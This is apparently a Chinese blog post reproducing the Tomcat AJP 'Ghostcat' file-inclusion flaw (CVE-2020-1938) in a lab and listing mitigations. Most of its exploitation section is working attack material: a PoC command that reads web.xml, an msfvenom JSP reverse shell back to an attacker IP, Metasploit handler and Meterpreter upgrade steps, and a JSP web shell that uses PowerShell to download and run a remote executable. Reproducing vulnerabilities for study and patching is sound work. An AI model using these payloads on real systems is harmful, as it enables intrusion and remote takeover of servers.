CVE-2020-1938 Tomcat文件包含漏洞复现

漏洞认识:


Tomcat服务器通过Connector连接器组件与客户程序建立连接,“连接器”表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。

Tomcat默认在其配置文件server.xml中配置了两种connector:

HTTP connector
AJP connector

HTTP connector配置如下,它监听8080端口,负责建立HTTP连接。在通过浏览器访问Tomcat服务器的Web应用时,使用的就是这个

AJP连接器可以通过AJP协议和另一个web容器进行交互。它监听8009端口,负责和其他的HTTP服务器建立连接。在把Tomcat与其他HTTP服务器集成时,就需要用到这个连接器。AJP连接器可以通过AJP协议和一个web容器进行交互

默认情况下,tomcat配置完成后,在conf/server.xml文件中AJP connector服务在8009端口监听

漏洞影响范围:

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31

漏洞危害:

攻击者可以读取Tomcat下部署的所有webapp目录下的任意文件。同时,如果此应用在网站服务中具备上传功能,攻击者也可以先向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用Gh0stcat进行文件包含,从而达到代码执行的危害

环境搭建:


在官方网站上下载源码:
http://archive.apache.org/dist/tomcat/

漏洞环境:

win7 + jdk-1.8.0_201 + apache-tomcat-8.0.15

漏洞验证:


项目地址:https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

端口扫描,发现开放8009端口,AJP协议:

漏洞验证,尝试读取文件:

python2 poc.py -p 8009 -f "/WEB-INF/web.xml" 192.168.107.141

可以看到成功读取到了 WEB-INF/web.xml 文件,存在CVE-2020-1938

利用过程:


利用原理:
向服务端上传一个含有JSP代码的恶意文件(上传文件可以是任意类型,图片、纯文本文件等),然后利用漏洞进行文件包含,从而达到代码执行的危害

1、利用msf生成反弹shell的jsp木马:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.107.129 LPORT=8888 -f raw > ceshi.jsp

2、利用上传点上传txt后缀文件
3、msf开启监听:

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.107.129
set lport 8888
run

4、执行ajp文件包含漏洞脚本:

python2 poc.py -p 8009 -f ceshi.txt 192.168.107.141

5、msf成功反弹cmd shell:

为了更多操作,我们需要把它升级为meterpreter shell

use post/multi/manage/shell_to_meterpreter
set session 1
run

# 或者直接使用如下命令:
sessions -u id
另一种利用方法:

可以上传jsp文件,进行远程文件下载,并将远程木马文件安装到可解析目录
这里我们直接使用msf生成木马文件,利用Powershell远程下载木马文件并执行exe

<%@ page import="java.util.*,java.io.*"%>
<%
Runtime r = java.lang.Runtime.getRuntime();
String command = "powershell (new-object system.net.webclient).DownloadFile('http://192.168.107.129/5555.exe','d:/5555.exe');start-process d:/5555.exe";
try
{
Process p = r.exec(command);
out.println("command:"+command+"
"); BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()),1024); while (br.read()!=-1) { out.print(br.readLine()); } br.close(); }catch(IOException e) { e.printStackTrace(); } %>

防御措施:


首先确定服务器环境中是否有用到 Tomcat AJP 协议:

如果未使用集群或反向代理,则基本上可以确定没有用到 AJP
如果使用了集群或反向代理,则需要看集群或反代服务器是否与 Tomcat 服务器 AJP 进行通信

1、进行版本升级,直接将 Tomcat 升级到 9.0.31、8.5.51 或 7.0.100 版本进行漏洞修复

2、如果无法进行版本更新、或者是更老版本的用户,可以考虑直接关闭 AJP Connector,或将其监听地址改为仅监听在本机 localhost

编辑 /conf/server.xml,找到如下行( 为 Tomcat 的工作目录:


将此行注释掉(或直接删掉此行)

3、如果要使用到ajp协议,可以为 AJP Connector 配置 secret 来设置 AJP 协议认证凭证


参考如下:


两种利用CVE-2020-1938 tomcat幽灵猫漏洞的方式
CVE-2020-1938 Tomcat 文件读取/包含漏洞复现

你可能感兴趣的:(CVE-2020-1938 Tomcat文件包含漏洞复现)